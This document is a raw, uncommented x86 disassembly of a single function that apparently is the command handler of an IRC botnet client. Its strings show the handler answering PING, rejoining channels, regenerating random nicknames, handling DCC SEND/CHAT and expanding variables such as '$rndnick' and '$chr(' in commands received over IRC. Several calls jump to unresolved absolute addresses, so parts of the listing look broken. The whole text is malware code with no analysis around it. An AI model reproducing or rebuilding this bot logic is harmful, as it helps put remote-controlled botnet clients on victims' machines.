var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h call near ptr 2670E97h nop jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j nop call near ptr 2680972h push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h call near ptr 2670E97h nop jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j call near ptr 2680972h nop push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push ebx call sub_41CAD4 